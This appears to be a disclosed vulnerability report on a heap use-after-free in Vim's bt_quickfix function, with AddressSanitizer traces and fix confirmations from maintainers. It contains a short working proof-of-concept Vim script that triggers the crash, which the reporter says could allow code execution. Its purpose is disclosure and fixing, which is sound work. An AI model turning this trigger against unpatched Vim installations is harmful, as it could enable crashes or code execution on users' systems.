heap-use-after-free in function bt_quickfix in vim/vim
Reported on
Feb 14th 2023
Description
heap-use-after-free in function bt_quickfix at buffer.c:5770
Vim Version
git log
commit 32ff96ef018eb1a5bea0953648b4892a6ee71658 (HEAD -> master, tag: v9.0.1307, origin/master, origin/HEAD)
Proof of Concept
./vim -u NONE -i NONE -n -m -X -Z -e -s -S bt_quickfix_poc -c :qa!
=================================================================
==693059==ERROR: AddressSanitizer: heap-use-after-free on address 0x625000018438 at pc 0x5643bc7b3ff3 bp 0x7ffd7a50df20 sp 0x7ffd7a50df10
READ of size 8 at 0x625000018438 thread T0
#0 0x5643bc7b3ff2 in bt_quickfix /home/limweicheng/Desktop/Fuzz/vim/src/buffer.c:5770
#1 0x5643bd02b95c in is_qf_win /home/limweicheng/Desktop/Fuzz/vim/src/quickfix.c:4482
#2 0x5643bd02d0db in qf_find_buf /home/limweicheng/Desktop/Fuzz/vim/src/quickfix.c:4526
#3 0x5643bd03cd1b in qf_update_buffer /home/limweicheng/Desktop/Fuzz/vim/src/quickfix.c:4579
#4 0x5643bd074848 in ex_vimgrep /home/limweicheng/Desktop/Fuzz/vim/src/quickfix.c:6495
#5 0x5643bcb254ff in do_one_cmd /home/limweicheng/Desktop/Fuzz/vim/src/ex_docmd.c:2580
#6 0x5643bcb254ff in do_cmdline /home/limweicheng/Desktop/Fuzz/vim/src/ex_docmd.c:993
#7 0x5643bd1fe495 in do_source_ext /home/limweicheng/Desktop/Fuzz/vim/src/scriptfile.c:1759
#8 0x5643bd20505b in cmd_source /home/limweicheng/Desktop/Fuzz/vim/src/scriptfile.c:1233
#9 0x5643bcb254ff in do_one_cmd /home/limweicheng/Desktop/Fuzz/vim/src/ex_docmd.c:2580
#10 0x5643bcb254ff in do_cmdline /home/limweicheng/Desktop/Fuzz/vim/src/ex_docmd.c:993
#11 0x5643bd1fe495 in do_source_ext /home/limweicheng/Desktop/Fuzz/vim/src/scriptfile.c:1759
#12 0x5643bd204d60 in do_source /home/limweicheng/Desktop/Fuzz/vim/src/scriptfile.c:1905
#13 0x5643bd204d60 in cmd_source /home/limweicheng/Desktop/Fuzz/vim/src/scriptfile.c:1250
#14 0x5643bcb254ff in do_one_cmd /home/limweicheng/Desktop/Fuzz/vim/src/ex_docmd.c:2580
#15 0x5643bcb254ff in do_cmdline /home/limweicheng/Desktop/Fuzz/vim/src/ex_docmd.c:993
#16 0x5643bd85e301 in exe_commands /home/limweicheng/Desktop/Fuzz/vim/src/main.c:3146
#17 0x5643bd85e301 in vim_main2 /home/limweicheng/Desktop/Fuzz/vim/src/main.c:782
#18 0x5643bc75ae97 in main /home/limweicheng/Desktop/Fuzz/vim/src/main.c:433
#19 0x7f80b2980d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#20 0x7f80b2980e3f in __libc_start_main_impl ../csu/libc-start.c:392
#21 0x5643bc761b44 in _start (/home/limweicheng/Desktop/Fuzz/vim/src/vim+0x19ab44)
0x625000018438 is located 6968 bytes inside of 9424-byte region [0x625000016900,0x625000018dd0)
freed by thread T0 here:
#0 0x7f80b341a517 in __interceptor_free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:127
#1 0x5643bc762def in vim_free /home/limweicheng/Desktop/Fuzz/vim/src/alloc.c:615
previously allocated by thread T0 here:
#0 0x7f80b341a867 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x5643bc76209a in lalloc /home/limweicheng/Desktop/Fuzz/vim/src/alloc.c:246
SUMMARY: AddressSanitizer: heap-use-after-free /home/limweicheng/Desktop/Fuzz/vim/src/buffer.c:5770 in bt_quickfix
Shadow bytes around the buggy address:
0x0c4a7fffb030: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4a7fffb040: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4a7fffb050: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4a7fffb060: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4a7fffb070: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c4a7fffb080: fd fd fd fd fd fd fd[fd]fd fd fd fd fd fd fd fd
0x0c4a7fffb090: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4a7fffb0a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4a7fffb0b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4a7fffb0c0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4a7fffb0d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==693059==ABORTING
Impact
This is capable of causing crashes by using unexpected value, or possible code execution.
References
I see that the ticket was marked as fixed, however,I can still reproduce a crash with the POC.
I simplified it to:
$ cat simplified-poc
au BufReadPre * exe 'sn' .. expand("<abuf>")
call writefile([''],'X')
e X
call writefile([''],'X')
e X
$ ./vim -u NONE -i NONE -n -m -X -Z -e -s -S simplified-poc
=================================================================
==7779==ERROR: AddressSanitizer: heap-use-after-free on address 0x00010af1fc30 at pc 0x000104e74750 bp 0x00016aff7c40 sp 0x00016aff7c38
READ of size 8 at 0x00010af1fc30 thread T0
#0 0x104e7474c in bt_quickfix buffer.c:5780
#1 0x1059ea438 in set_ref_in_quickfix quickfix.c:7915
#2 0x105153284 in garbage_collect eval.c:5297
#3 0x10548c0bc in before_blocking getchar.c:1632
#4 0x106084324 in inchar_loop ui.c:355
#5 0x105910bbc in mch_inchar os_unix.c:471
#6 0x1060838b0 in ui_inchar ui.c:232
#7 0x10547b878 in inchar getchar.c:3808
#8 0x1054970cc in vgetorpeek getchar.c:3593
#9 0x10548d080 in vgetc getchar.c:1784
#10 0x10537c030 in getexmodeline ex_getln.c:2941
#11 0x1052b996c in do_cmdline ex_docmd.c:877
#12 0x1052b5eb8 in do_exmode ex_docmd.c:518
#13 0x1066aef24 in main_loop main.c:1540
#14 0x1066a75e4 in vim_main2 main.c:895
#15 0x106696cb0 in main main.c:441
#16 0x1841a3f24 (<unknown module>)
0x00010af1fc30 is located 6960 bytes inside of 9432-byte region [0x00010af1e100,0x00010af205d8)
freed by thread T0 here:
#0 0x108386de4 in wrap_free+0x98 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3ede4)
#1 0x104e02470 in vim_free alloc.c:616
#2 0x104e65c8c in free_buffer buffer.c:993
#3 0x104e5cea0 in close_buffer buffer.c:778
#4 0x104eac1dc in wipe_buffer buffer.c:6060
#5 0x104eabef8 in buf_contents_changed buffer.c:6039
#6 0x1053d192c in buf_check_timestamp fileio.c:4207
#7 0x105286018 in do_ecmd ex_cmds.c:2755
#8 0x105314d30 in do_exedit ex_docmd.c:7235
#9 0x105326e78 in ex_edit ex_docmd.c:7136
#10 0x1052ce9f4 in do_one_cmd ex_docmd.c:2582
#11 0x1052ba838 in do_cmdline ex_docmd.c:994
#12 0x105c18874 in do_source_ext scriptfile.c:1762
#13 0x105c14428 in do_source scriptfile.c:1908
#14 0x105c13cd8 in cmd_source scriptfile.c:1253
#15 0x105c13284 in ex_source scriptfile.c:1279
#16 0x1052ce9f4 in do_one_cmd ex_docmd.c:2582
#17 0x1052ba838 in do_cmdline ex_docmd.c:994
#18 0x1052bf174 in do_cmdline_cmd ex_docmd.c:588
#19 0x1066ac8b8 in exe_commands main.c:3173
#20 0x1066a703c in vim_main2 main.c:790
#21 0x106696cb0 in main main.c:441
#22 0x1841a3f24 (<unknown module>)
previously allocated by thread T0 here:
#0 0x108386ca8 in wrap_malloc+0x94 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3eca8)
#1 0x104e01fc0 in lalloc alloc.c:246
#2 0x104e02150 in alloc_clear alloc.c:177
#3 0x104e68d44 in buflist_new buffer.c:2161
#4 0x104eab7f4 in buf_contents_changed buffer.c:5996
#5 0x1053d192c in buf_check_timestamp fileio.c:4207
#6 0x105286018 in do_ecmd ex_cmds.c:2755
#7 0x105314d30 in do_exedit ex_docmd.c:7235
#8 0x105326e78 in ex_edit ex_docmd.c:7136
#9 0x1052ce9f4 in do_one_cmd ex_docmd.c:2582
#10 0x1052ba838 in do_cmdline ex_docmd.c:994
#11 0x105c18874 in do_source_ext scriptfile.c:1762
#12 0x105c14428 in do_source scriptfile.c:1908
#13 0x105c13cd8 in cmd_source scriptfile.c:1253
#14 0x105c13284 in ex_source scriptfile.c:1279
#15 0x1052ce9f4 in do_one_cmd ex_docmd.c:2582
#16 0x1052ba838 in do_cmdline ex_docmd.c:994
#17 0x1052bf174 in do_cmdline_cmd ex_docmd.c:588
#18 0x1066ac8b8 in exe_commands main.c:3173
#19 0x1066a703c in vim_main2 main.c:790
#20 0x106696cb0 in main main.c:441
#21 0x1841a3f24 (<unknown module>)
SUMMARY: AddressSanitizer: heap-use-after-free buffer.c:5780 in bt_quickfix
Shadow bytes around the buggy address:
0x007021603f30: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x007021603f40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x007021603f50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x007021603f60: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x007021603f70: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x007021603f80: fd fd fd fd fd fd[fd]fd fd fd fd fd fd fd fd fd
0x007021603f90: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x007021603fa0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x007021603fb0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x007021603fc0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x007021603fd0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==7779==ABORTING
Abort trap: 6
should also be fixe now with 6e60cf444a8839ca1694319bf9a82e7b097e5c4d
should also be fixe now with 6e60cf444a8839ca1694319bf9a82e7b097e5c4d
Confirmed. It no longer crashes. Thanks.